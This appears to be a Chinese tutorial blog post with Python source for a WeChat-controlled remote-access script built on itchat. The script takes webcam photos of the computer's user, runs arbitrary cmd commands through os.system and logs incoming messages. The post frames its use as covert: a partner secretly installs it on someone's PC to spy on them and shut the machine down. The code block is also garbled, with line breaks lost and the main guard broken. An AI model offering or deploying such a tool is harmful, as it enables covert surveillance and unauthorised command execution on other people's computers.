今天带给大家一个非常有意思的 python 程序,基于 itchat 实现微信控制电脑。你可以通过在微信发送命令,来拍摄当前电脑的使用者,然后图片会发送到你的微信上。甚至你可以发送命令来远程关闭电脑。完整代码加群:683380553 获取!
<tt-image data-tteditor-tag="tteditorTag" contenteditable="false" class="syl1553323128150" data-render-status="finished" data-syl-blot="image" style="box-sizing: border-box; cursor: text; color: rgb(34, 34, 34); font-family: "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "WenQuanYi Micro Hei", "Helvetica Neue", Arial, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial; display: block;"> image<input class="pgc-img-caption-ipt" placeholder="图片描述(最多50字)" value="" style="box-sizing: border-box; outline: 0px; color: rgb(102, 102, 102); position: absolute; left: 187.5px; transform: translateX(-50%); padding: 6px 7px; max-width: 100%; width: 375px; text-align: center; cursor: text; font-size: 12px; line-height: 1.5; background-color: rgb(255, 255, 255); background-image: none; border: 0px solid rgb(217, 217, 217); border-radius: 4px; transition: all 0.2s cubic-bezier(0.645, 0.045, 0.355, 1);"></tt-image>
应用场景
你可爱又迷人的女朋友(当然,程序员一般没有女朋友 :》),在看到这篇教程之后,非常的开心。在你的电脑上部署了这个脚本,并且在你不知情的情况下,默默的登录上。随后跟你说我出去跟闺蜜逛街啦,今天就不陪你了。要记得不准吃鸡。
你心想老子终于可以放松一天了!开心的吃鸡!口上说着:“好的!亲爱的玩得开心!”等着女朋友出门以后,你就开启了吃鸡模式,在绝地求生里大开杀戒。
你的女朋友早已对你了如指掌,通过脚本,先让电脑截图留下现场证据,随后再打电话质问你是否在吃鸡,你如果撒谎就把电脑远程关机。
最后你想了下不对我没有女朋友啊,随后你转头微笑地看着你的室友。
程序思路
此次程序使用的环境是 python3.6 + windows10,在运行程序之前请先确保你已经安装好了 opencv-python 和 matplotlib。通过 pip install 即可安装。
程序主要是通过使用 itchat 库来登录到微信网页端,然后通过 itchat 来发送消息和接收消息。并通过 opencv 来调用电脑的摄像头,把当前使用电脑的用户拍照下来,发送到你的微信上。至于远程关机是通过调用 os 库,发送 cmd 命名即可实现。
程序源码
<pre spellcheck="false" style="box-sizing: border-box; margin: 5px 0px; padding: 5px 10px; border: 0px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-numeric: inherit; font-variant-east-asian: inherit; font-weight: 400; font-stretch: inherit; font-size: 16px; line-height: inherit; font-family: inherit; vertical-align: baseline; cursor: text; counter-reset: list-1 0 list-2 0 list-3 0 list-4 0 list-5 0 list-6 0 list-7 0 list-8 0 list-9 0; background-color: rgb(240, 240, 240); border-radius: 3px; white-space: pre-wrap; color: rgb(34, 34, 34); letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">import itchatimport osimport timeimport cv2sendMsg = u"{消息助手}:暂时无法回复"usageMsg = u"使用方法:1.运行CMD命令:cmd xxx (xxx为命令)"u"-例如关机命令:cmd shutdown -s -t 0 "u"2.获取当前电脑用户:cap3.启用消息助手(默认关闭):ast"u"4.关闭消息助手:astc"flag = 0 #消息助手开关nowTime = time.localtime()filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"myfile = open(filename, 'w')@itchat.msg_register('Text')def text_reply(msg):global flagmessage = msg['Text']fromName = msg['FromUserName']toName = msg['ToUserName']if toName == "filehelper":if message == "cap":cap = cv2.VideoCapture(0)ret, img = cap.read()cv2.imwrite("weixinTemp.jpg", img)itchat.send('@img@%s'%u'weixinTemp.jpg', 'filehelper')cap.release()if message[0:3] == "cmd":os.system(message.strip(message[0:4]))if message == "ast":flag = 1itchat.send("消息助手已开启", "filehelper")if message == "astc":flag = 0itchat.send("消息助手已关闭", "filehelper")elif flag == 1:itchat.send(sendMsg, fromName)myfile.write(message)myfile.write("")myfile.flush()if name == 'main':itchat.auto_login()itchat.send(usageMsg, "filehelper")itchat.run()
</pre>
程序并不复杂,定义了一些发送的消息,然后通过调用 itchat 和 cv2 相关库的操作,即可实现。关于 itchat 库的一些操作,可以去网上找相关的文档。
使用教程
获取源代码,然后在你的电脑上运行。随后会弹出一个微信网页登录的二维码。
<tt-image data-tteditor-tag="tteditorTag" contenteditable="false" class="syl1553323128157" data-render-status="finished" data-syl-blot="image" style="box-sizing: border-box; cursor: text; color: rgb(34, 34, 34); font-family: "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "WenQuanYi Micro Hei", "Helvetica Neue", Arial, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial; display: block;"> image<input class="pgc-img-caption-ipt" placeholder="图片描述(最多50字)" value="" style="box-sizing: border-box; outline: 0px; color: rgb(102, 102, 102); position: absolute; left: 187.5px; transform: translateX(-50%); padding: 6px 7px; max-width: 100%; width: 375px; text-align: center; cursor: text; font-size: 12px; line-height: 1.5; background-color: rgb(255, 255, 255); background-image: none; border: 0px solid rgb(217, 217, 217); border-radius: 4px; transition: all 0.2s cubic-bezier(0.645, 0.045, 0.355, 1);"></tt-image>
使用你的手机微信扫描登录,等待一会儿,微信文件助手就会收到相应操作信息。
<tt-image data-tteditor-tag="tteditorTag" contenteditable="false" class="syl1553323128160" data-render-status="finished" data-syl-blot="image" style="box-sizing: border-box; cursor: text; color: rgb(34, 34, 34); font-family: "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "WenQuanYi Micro Hei", "Helvetica Neue", Arial, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial; display: block;"> image<input class="pgc-img-caption-ipt" placeholder="图片描述(最多50字)" value="" style="box-sizing: border-box; outline: 0px; color: rgb(102, 102, 102); position: absolute; left: 187.5px; transform: translateX(-50%); padding: 6px 7px; max-width: 100%; width: 375px; text-align: center; cursor: text; font-size: 12px; line-height: 1.5; background-color: rgb(255, 255, 255); background-image: none; border: 0px solid rgb(217, 217, 217); border-radius: 4px; transition: all 0.2s cubic-bezier(0.645, 0.045, 0.355, 1);"></tt-image>
发送消息「cmd shutdown -s -t 0」即可让当前的电脑关闭。
发送消息「cap」即可调用电脑摄像头拍摄当前用户,然后把图片发送到微信上。
当然 cmd 命名还可以做更多有趣的事,大家可以自己去网上搜索下。
这波骚操作学会了吗?
网友评论